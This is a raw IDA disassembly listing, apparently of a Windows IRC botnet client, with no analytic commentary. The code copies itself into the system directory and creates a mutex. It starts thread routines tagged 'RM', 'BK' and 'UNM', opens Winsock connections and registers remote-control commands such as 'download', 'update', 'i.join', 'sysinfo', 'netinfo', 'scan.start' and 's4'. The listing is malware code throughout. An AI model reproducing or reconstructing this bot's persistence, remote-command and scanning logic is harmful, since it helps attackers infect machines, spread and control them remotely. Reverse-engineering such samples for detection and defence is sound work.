		movsd
		movsd
		movsw
		movsb
		mov	edi, 103h
		xor	ebx, ebx
		push	edi
		lea	eax, [esp+73Ch+var_10F]
		push	ebx
		push	eax
		mov	[esp+744h+var_110], bl
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+73Ch+var_31F]
		push	ebx
		push	eax
		mov	[esp+744h+var_320], bl
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+73Ch+var_427]
		push	ebx
		push	eax
		mov	[esp+744h+var_428], bl
		call	sub_407F20
		add	esp, 0Ch
		push	7Fh
		lea	eax, [esp+73Ch+var_4A7]
		push	ebx
		push	eax
		mov	[esp+744h+var_4A8], bl
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+73Ch+var_110]
		push	eax
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		push	80h
		lea	esi, [esp+744h+var_4B0]
		mov	ebx, offset byte_426A49
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [esp+744h+var_118]
		push	eax
		push	offset aSS_6	; "%s\\%s"
		lea	eax, [esp+74Ch+var_430]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [esp+754h+var_430]
		add	esp, 14h
		lea	ecx, [eax+1]

loc_41C3BC:				; CODE XREF: sub_41C28D+134j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41C3BC
		sub	eax, ecx
		xor	ebx, ebx
		mov	[esp+eax+740h+var_430],	bl
		mov	esi, 104h
		push	esi
		lea	eax, [esp+744h+var_328]
		push	eax
		push	ebx
		call	ds:dword_41D0E0	; GetModuleHandleA
		push	eax
		call	ds:dword_41D060	; GetModuleFileNameA
		lea	eax, [esp+750h+var_504]
		lea	ecx, [eax+1]

loc_41C3F4:				; CODE XREF: sub_41C28D+16Cj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_41C3F4
		sub	eax, ecx
		push	eax
		lea	eax, [esp+754h+var_504]
		push	eax
		push	[esp+758h+var_740]
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C47C
		push	esi
		lea	eax, [esp+754h+var_440]
		push	eax
		lea	eax, [esp+758h+var_338]
		push	eax
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C47C
		push	ebx
		lea	eax, [esp+754h+var_440]
		push	eax
		lea	eax, [esp+758h+var_338]
		push	eax
		call	ds:off_41D080
		test	eax, eax
		jz	loc_41C2BA
		lea	eax, [esp+75Ch+var_344]
		push	eax
		lea	eax, [esp+760h+var_510]
		push	eax
		lea	eax, [esp+764h+var_44C]
		push	eax
		push	offset aSSS_0	; "%s %s%s"
		call	sub_419A09
		add	esp, 10h
		jmp	loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C47C:				; CODE XREF: sub_41C28D+187j
					; sub_41C28D+1A4j
		lea	eax, [esp+750h+var_504]
		lea	edx, [eax+1]

loc_41C486:				; CODE XREF: sub_41C28D+1FEj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C486
		sub	eax, edx
		push	eax
		lea	eax, [esp+754h+var_504]
		push	eax
		push	[esp+758h+var_740]
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41C552
		push	esi
		lea	eax, [esp+754h+var_440]
		push	eax
		lea	eax, [esp+758h+var_338]
		push	eax
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41C552
		push	edi
		lea	eax, [esp+754h+var_22F]
		push	ebx
		push	eax
		mov	[esp+75Ch+var_230], bl
		call	sub_407F20
		lea	eax, [esp+75Ch+var_504]
		add	esp, 0Ch
		lea	edi, [eax+1]

loc_41C4F0:				; CODE XREF: sub_41C28D+268j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C4F0
		mov	ecx, [esp+750h+var_740]
		sub	eax, edi
		add	eax, ecx
		push	eax
		push	offset aS_11	; "%s"
		lea	eax, [esp+758h+var_230]
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 10h
		xor	edi, edi

loc_41C518:				; CODE XREF: sub_41C28D+2ACj
		lea	eax, [esp+750h+var_230]
		push	eax
		call	ds:off_41D0CC
		test	eax, eax
		jnz	short loc_41C53B
		push	0C8h
		call	ds:off_41D0F8
		inc	edi
		cmp	edi, 3
		jb	short loc_41C518

loc_41C53B:				; CODE XREF: sub_41C28D+29Bj
		push	esi
		lea	eax, [esp+75Ch+var_238]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		call	sub_41C135

loc_41C552:				; CODE XREF: sub_41C28D+219j
					; sub_41C28D+23Aj
		push	80h
		lea	eax, [esp+75Ch+var_4C8]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	37h
		lea	eax, [esp+75Ch+var_4FF]
		push	ebx
		push	eax
		mov	[esp+764h+var_500], bl
		call	sub_407F20
		add	esp, 0Ch
		push	38h
		lea	esi, [esp+75Ch+var_500]
		mov	ebx, offset asc_426AC9 ; "Ï×ÖÇÖÊÇÇÚ"
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		push	1
		xor	ebx, ebx
		push	ebx
		call	ds:off_41D084
		push	38h
		mov	esi, eax
		lea	eax, [esp+768h+var_50C]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	1388h
		push	esi
		call	ds:off_41D07C
		cmp	eax, 102h
		jnz	short loc_41C5D3
		push	ebx
		call	ds:off_41D050

loc_41C5D3:				; CODE XREF: sub_41C28D+33Dj
		call	sub_417776
		push	8
		call	sub_40340B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41C5F7
		push	offset sub_417909
		xor	ecx, ecx
		mov	edi, offset aRm	; "RM"
		mov	esi, eax
		call	sub_414884

loc_41C5F7:				; CODE XREF: sub_41C28D+355j
		lea	eax, [esp+770h+var_750]
		push	eax
		mov	[esp+774h+var_750], 94h
		call	ds:dword_41D068	; GetVersionExA
		cmp	[esp+774h+var_750], 4
		jz	short loc_41C630
		push	8
		call	sub_40340B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41C630
		push	offset sub_41A690
		xor	ecx, ecx
		mov	edi, offset aBk	; "BK"
		mov	esi, eax
		call	sub_414884

loc_41C630:				; CODE XREF: sub_41C28D+382j
					; sub_41C28D+38Ej
		push	8
		mov	byte_428400, bl
		call	sub_40340B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41C655
		push	offset sub_418AF1
		xor	ecx, ecx
		mov	edi, offset aUnm ; "UNM"
		mov	esi, eax
		call	sub_414884

loc_41C655:				; CODE XREF: sub_41C28D+3B3j
		lea	eax, [esp+774h+var_6BC]
		push	eax
		push	202h
		call	ds:dword_41D274	; WSAStartup
		test	eax, eax
		jnz	loc_41C72A
		call	sub_419AEB
		mov	byte_43538D, bl
		call	sub_41BD26
		mov	eax, [ebp+arg_0]
		mov	byte_4282F4, bl
		mov	dword_4280E4, eax
		call	sub_419507
		mov	eax, dword_435690
		mov	eax, [eax]
		mov	ebx, offset dword_43568C
		mov	[esp+77Ch+var_768], eax
		mov	[esp+77Ch+var_76C], ebx

loc_41C6A7:				; CODE XREF: sub_41C28D+445j
		cmp	[esp+77Ch+var_76C], 0
		mov	esi, dword_435690
		jz	short loc_41C6BA
		cmp	[esp+77Ch+var_76C], ebx
		jz	short loc_41C6BF

loc_41C6BA:				; CODE XREF: sub_41C28D+425j
		call	sub_40331D

loc_41C6BF:				; CODE XREF: sub_41C28D+42Bj
		cmp	[esp+77Ch+var_768], esi
		jz	short loc_41C6D4
		lea	edi, [esp+77Ch+var_764]
		lea	esi, [esp+77Ch+var_76C]
		call	sub_40168C
		jmp	short loc_41C6A7
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C28D+436j
		mov	edi, offset dword_4283FC

loc_41C6D9:				; CODE XREF: sub_41C28D+49Bj
		push	3
		mov	esi, offset dword_425E30
		pop	ebx

loc_41C6E1:				; CODE XREF: sub_41C28D+499j
		movsx	eax, word ptr [esi+200h]
		push	eax
		push	esi
		lea	edx, [esi-200h]
		mov	ecx, edi
		call	sub_41881F
		test	al, al
		jz	short loc_41C70D
		mov	byte_428400, 1

loc_41C702:				; CODE XREF: sub_41C28D+47Ej
		mov	ecx, edi
		call	sub_4186F1
		test	al, al
		jnz	short loc_41C702

loc_41C70D:				; CODE XREF: sub_41C28D+46Cj
		push	3A98h
		mov	byte_428400, 0
		call	ds:off_41D0F8
		add	esi, 402h
		dec	ebx
		jnz	short loc_41C6E1
		jmp	short loc_41C6D9
; ---------------------------------------------------------------------------

loc_41C72A:				; CODE XREF: sub_41C28D+3DDj
		call	ds:dword_41D240	; WSACleanup
		jmp	loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C735:				; CODE XREF: sub_41C28D+4Dj
					; sub_41C28D+5Bj
		push	offset byte_41EF27
		call	sub_419C67
		int	3		; Trap to Debugger
sub_41C28D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C740	proc near		; CODE XREF: sub_419590+2Fp
					; sub_419590+6Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41C761
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41C761:				; CODE XREF: sub_41C740+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41C77D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41C77D:				; CODE XREF: sub_41C740+27j
		or	eax, eax
		jnz	short loc_41C799
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41C7DA
; ---------------------------------------------------------------------------

loc_41C799:				; CODE XREF: sub_41C740+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41C7A7:				; CODE XREF: sub_41C740+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41C7A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41C7D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41C7D5
		jb	short loc_41C7D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41C7D6

loc_41C7D5:				; CODE XREF: sub_41C740+85j
					; sub_41C740+8Bj
		dec	esi

loc_41C7D6:				; CODE XREF: sub_41C740+8Dj
					; sub_41C740+93j
		xor	edx, edx
		mov	eax, esi

loc_41C7DA:				; CODE XREF: sub_41C740+57j
		dec	edi
		jnz	short loc_41C7E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41C7E4:				; CODE XREF: sub_41C740+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41C740	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_4356E0, 0
		jz	short sub_41C826

loc_41C7F9:				; CODE XREF: .text:0041C824j
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		and	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		cvttsd2si eax, qword ptr [esp]
		leave
		retn
; ---------------------------------------------------------------------------
		cmp	dword_4356E0, 0
		jz	short sub_41C826
		sub	esp, 4
		fnstcw	word ptr [esp]
		pop	eax
		and	ax, 7Fh
		cmp	ax, 7Fh
		jz	short loc_41C7F9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C826	proc near		; CODE XREF: sub_41AFA7+593p
					; .text:0041C7F7j ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_41C885

loc_41C849:				; CODE XREF: sub_41C826+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_41C86D
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_41C899
; ---------------------------------------------------------------------------

loc_41C86D:				; CODE XREF: sub_41C826+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_41C899
; ---------------------------------------------------------------------------

loc_41C885:				; CODE XREF: sub_41C826+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_41C849
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_41C899:				; CODE XREF: sub_41C826+45j
					; sub_41C826+5Dj
		leave
		retn
sub_41C826	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_401137
; ---------------------------------------------------------------------------

loc_41C8A3:				; DATA XREF: sub_402A3A+2o
					; sub_402A79+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_4215C8
		jmp	sub_40463E
; ---------------------------------------------------------------------------

loc_41C8BE:				; DATA XREF: sub_40B863+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421968
		jmp	sub_40463E

; =============== S U B	R O U T	I N E =======================================



sub_41C8D9	proc near		; CODE XREF: sub_408412+14p
					; DATA XREF: sub_401442+2o

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421E20
		jmp	sub_40463E
sub_41C8D9	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40308A
; ---------------------------------------------------------------------------

loc_41C8FC:				; DATA XREF: sub_401065+2o
					; sub_4013E6+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421E50
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_401137
; ---------------------------------------------------------------------------

loc_41C91F:				; DATA XREF: sub_4016BA+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-58h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421E80
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41C944:				; DATA XREF: sub_41BD26+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421D10
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41C969:				; DATA XREF: sub_419507+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421D3C
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-154h]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41C991:				; DATA XREF: sub_4145BE+8o
		mov	edx, [esp+8]
		lea	eax, [edx-154h]
		mov	ecx, [edx-158h]
		xor	ecx, eax
		call	sub_402AD0
		add	eax, 8
		mov	ecx, [edx-8]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421D68
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-33Ch]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41C9CC:				; DATA XREF: sub_41C135+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-344h]
		xor	ecx, eax
		call	sub_402AD0
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421D94
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_401137
; ---------------------------------------------------------------------------

loc_41C9FC:				; DATA XREF: sub_40121E+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421EB0
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-58h]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CA21:				; DATA XREF: sub_4022D6+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-70h]
		xor	ecx, eax
		call	sub_402AD0
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421EE0
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-13Ch]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CA53:				; DATA XREF: sub_401E4A+8o
		mov	edx, [esp+8]
		lea	eax, [edx-13Ch]
		mov	ecx, [edx-140h]
		xor	ecx, eax
		call	sub_402AD0
		add	eax, 0Ch
		mov	ecx, [edx-8]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421F10
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4BCh]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CA8E:				; DATA XREF: sub_4019F3+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-4C8h]
		xor	ecx, eax
		call	sub_402AD0
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421F40
		jmp	sub_40463E
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4C0h]
		call	sub_40332D
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CAC3:				; DATA XREF: sub_40177B+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-4C8h]
		xor	ecx, eax
		call	sub_402AD0
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_402AD0
		mov	eax, offset dword_421F70
		jmp	sub_40463E
; ---------------------------------------------------------------------------

loc_41CAEB:				; DATA XREF: c.7ld2ih:0041D28Co
		call	sub_401291
		and	dword_435694, 0
		push	offset loc_41CC9F
		mov	dword_435690, eax
		call	sub_4031E1
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		call	sub_40172D
		and	dword_4356A0, 0
		push	offset loc_41CCE8
		mov	dword_43569C, eax
		call	sub_4031E1
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aDownload ; "download"
		mov	esi, offset off_4356A8
		call	sub_41C22E
		mov	off_4356A8, offset off_420B94
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aUpdate	; "update"
		mov	esi, offset off_4356A4
		call	sub_41C22E
		mov	off_4356A4, offset off_420B9C
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aI_quit	; "i.quit"
		mov	esi, offset off_4356B4
		call	sub_41C22E
		mov	off_4356B4, offset off_420C10
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aI_join	; "i.join"
		mov	esi, offset off_4356AC
		call	sub_41C22E
		mov	off_4356AC, offset off_420C18
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aI_part	; "i.part"
		mov	esi, offset off_4356B0
		call	sub_41C22E
		mov	off_4356B0, offset off_420C20
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aHttp	; "http"
		mov	esi, offset off_4356B8
		call	sub_41C22E
		mov	off_4356B8, offset off_420C38
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aS4	; "s4"
		mov	esi, offset off_4356C0
		call	sub_41C22E
		mov	off_4356C0, offset off_420C84
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	offset aS4_stop	; "s4.stop"
		mov	esi, offset off_4356BC
		call	sub_41C22E
		mov	off_4356BC, offset off_420C8C
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC05:				; DATA XREF: c.7ld2ih:0041D2B4o
		push	esi
		push	offset aSysinfo	; "sysinfo"
		mov	esi, offset off_4356C4
		call	sub_41C22E
		mov	off_4356C4, offset off_420D4C
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC21:				; DATA XREF: c.7ld2ih:0041D2B8o
		push	esi
		push	offset aNetinfo	; "netinfo"
		mov	esi, offset off_4356C8
		call	sub_41C22E
		mov	off_4356C8, offset off_420D54
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC3D:				; DATA XREF: c.7ld2ih:0041D2BCo
		mov	eax, dword_425824
		add	eax, 6
		mov	dword_4356CC, eax
		retn
; ---------------------------------------------------------------------------

loc_41CC4B:				; DATA XREF: c.7ld2ih:0041D2C0o
		push	esi
		push	offset aScan_start ; "scan.start"
		mov	esi, offset off_4356D8
		call	sub_41C22E
		mov	off_4356D8, offset off_420EA4
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC67:				; DATA XREF: c.7ld2ih:0041D2C4o
		push	esi
		push	offset aScan_stop ; "scan.stop"
		mov	esi, offset off_4356D0
		call	sub_41C22E
		mov	off_4356D0, offset off_420EAC
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC83:				; DATA XREF: c.7ld2ih:0041D2C8o
		push	esi
		push	offset dword_41EF00
		mov	esi, offset off_4356D4
		call	sub_41C22E
		mov	off_4356D4, offset off_420EB4
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41CC9F:				; DATA XREF: .text:0041CAF7o
		mov	eax, dword_435690
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_435690
		mov	[eax+4], eax
		and	dword_435694, 0
		cmp	ecx, dword_435690
		jz	short loc_41CCD4
		push	esi

loc_41CCC0:				; CODE XREF: .text:0041CCD1j
		mov	esi, [ecx]
		push	ecx
		call	sub_40332D
		cmp	esi, dword_435690
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41CCC0
		pop	esi

loc_41CCD4:				; CODE XREF: .text:0041CCBDj
		push	dword_435690
		call	sub_40332D
		and	dword_435690, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CCE8:				; DATA XREF: .text:0041CB14o
		mov	eax, dword_43569C
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_43569C
		mov	[eax+4], eax
		and	dword_4356A0, 0
		cmp	ecx, dword_43569C
		jz	short loc_41CD1D
		push	esi

loc_41CD09:				; CODE XREF: .text:0041CD1Aj
		mov	esi, [ecx]
		push	ecx
		call	sub_40332D
		cmp	esi, dword_43569C
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41CD09
		pop	esi

loc_41CD1D:				; CODE XREF: .text:0041CD06j
		push	dword_43569C
		call	sub_40332D
		and	dword_43569C, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41CD31:				; DATA XREF: sub_40340B+40o
		mov	dword_4274C4, offset off_41D324
		mov	ecx, offset dword_4274C4
		jmp	sub_40308A
; ---------------------------------------------------------------------------
		align 400h
_text		ends

; Section 2. (virtual address 0001D000)
; Virtual size			: 00006000 (  24576.)
; Section size in file		: 00006000 (  24576.)
; Offset to raw	data for section: 0001D000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
c_7ld2ih	segment	para public 'CODE' use32
		assume cs:c_7ld2ih
		;org 41D000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41D000	dd 77DD5C55h		; DATA XREF: sub_417722+39r
					; dviuq5id:00455837w ...
off_41D004	dd offset sub_45584B	; DATA XREF: sub_41764F+1Dr
					; sub_417722+1Br
off_41D008	dd offset sub_449222	; DATA XREF: sub_4176BD+31r
off_41D00C	dd offset sub_439C09	; DATA XREF: sub_41764F+52r
dword_41D010	dd 77DD189Ah		; DATA XREF: sub_41764F+2Ar
					; sub_41764F+60r ...
off_41D014	dd offset sub_457779	; DATA XREF: sub_41A025+3Cr
					; dviuq5id:00441E07w ...
off_41D018	dd offset sub_439013	; DATA XREF: sub_41A45D+A5r
					; sub_41A45D+1B6r ...
off_41D01C	dd offset sub_4450FB	; DATA XREF: sub_419F50+82r
					; sub_445110:loc_44393Dw ...
off_41D020	dd offset sub_443951	; DATA XREF: sub_41A28F+132r
					; sub_443951+5r ...
off_41D024	dd offset sub_44DA96	; DATA XREF: sub_41A40D+Cr
					; sub_43E421-158Bw ...
off_41D028	dd offset sub_44BD00	; DATA XREF: sub_419F50+24r
					; sub_44BD00+5r ...
off_41D02C	dd offset sub_44C2F6	; DATA XREF: sub_4176BD+14r
					; sub_41A28F+90r ...
off_41D030	dd offset sub_450504	; DATA XREF: sub_41A690+299r
					; dviuq5id:0044E07Dw ...
off_41D034	dd offset sub_44E74E	; DATA XREF: sub_41A025+19r
					; sub_44E74E+5r ...
off_41D038	dd offset sub_44F164	; DATA XREF: sub_41A690+27Dr
					; dviuq5id:00441AACw ...
off_41D03C	dd offset sub_441AC0	; DATA XREF: sub_41A40D+2Er
					; sub_441AC0:loc_4418EEr ...
off_41D040	dd offset sub_44FC72	; DATA XREF: sub_41A40D+3Br
					; sub_453F0A-E2FAw ...
off_41D044	dd offset sub_45943A	; DATA XREF: sub_41A40D+1Er
					; sub_44F6A9+4w ...
off_41D048	dd offset sub_459D7E	; DATA XREF: sub_40207A+110r
					; dviuq5id:00454697w ...
		align 10h
off_41D050	dd offset sub_443ECE	; DATA XREF: sub_407C57+Er
					; sub_419C67+168r ...
off_41D054	dd offset sub_440D91	; DATA XREF: sub_410661+22r
					; sub_41960F+29r ...
dword_41D058	dd 77E802FCh		; DATA XREF: sub_40B439+5Dr
					; sub_419590+Br ...
off_41D05C	dd offset sub_45A6BC	; DATA XREF: sub_419A09+8Br
					; sub_456C37+Fw ...
dword_41D060	dd 77E7A099h		; DATA XREF: sub_409E64+99r
					; sub_40B203+2Ar ...
off_41D064	dd offset sub_451220	; DATA XREF: sub_419590+19r
					; dviuq5id:0043A852w ...
dword_41D068	dd 77E7C657h		; DATA XREF: .text:00404340r
					; sub_419641+24r ...
dword_41D06C	dd 77E7A837h		; DATA XREF: sub_40E422+234r
					; sub_4117DB+13r ...
off_41D070	dd offset sub_4429A0	; DATA XREF: sub_418D42+31Er
					; dviuq5id:0043E4F2w ...
off_41D074	dd offset sub_4566A9	; DATA XREF: sub_40D06E+40r
					; sub_410B0B+2Dr ...
off_41D078	dd offset sub_44623D	; DATA XREF: sub_40A15D+17Fr
					; sub_40A15D+2A3r ...
off_41D07C	dd offset sub_452465	; DATA XREF: sub_414884+5Er
					; sub_41AFA7+6B5r ...
off_41D080	dd offset sub_458F10	; DATA XREF: sub_41C28D+1B7r
					; dviuq5id:0044EE11w ...
off_41D084	dd offset sub_43F534	; DATA XREF: sub_41C28D+311r
					; sub_43F534:loc_443587r ...
dword_41D088	dd 77E79D8Ch		; DATA XREF: sub_409E64+194r
					; sub_40D20A+212r ...
off_41D08C	dd offset sub_450102	; DATA XREF: sub_4031FD+AAr
					; sub_404A3E+B9r ...
off_41D090	dd offset sub_44D736	; DATA XREF: sub_414884+1Cr
					; sub_41BB83+161r ...
off_41D094	dd offset sub_440E99	; DATA XREF: sub_4147FC+8r
					; dviuq5id:00440E06w ...
off_41D098	dd offset sub_440E1A	; DATA XREF: sub_40207A+B3r
					; sub_44AA64w ...
off_41D09C	dd offset sub_44F0B6	; DATA XREF: sub_41AFA7+627r
					; dviuq5id:00439463w ...
dword_41D0A0	dd 77E77CCEh		; DATA XREF: sub_40A15D+3E7r
					; sub_40C307:loc_40C3B4r ...
off_41D0A4	dd offset sub_43FBDF	; DATA XREF: sub_410957+14Cr
					; sub_43FBDF+5r
off_41D0A8	dd offset sub_44C070	; DATA XREF: sub_41088C+45r
					; dviuq5id:00443A41w ...
off_41D0AC	dd offset sub_443A55	; DATA XREF: sub_41088C+78r
					; sub_443A55+5r ...
off_41D0B0	dd offset sub_44A246	; DATA XREF: sub_41088C+9Br
					; sub_459545-6A95r ...
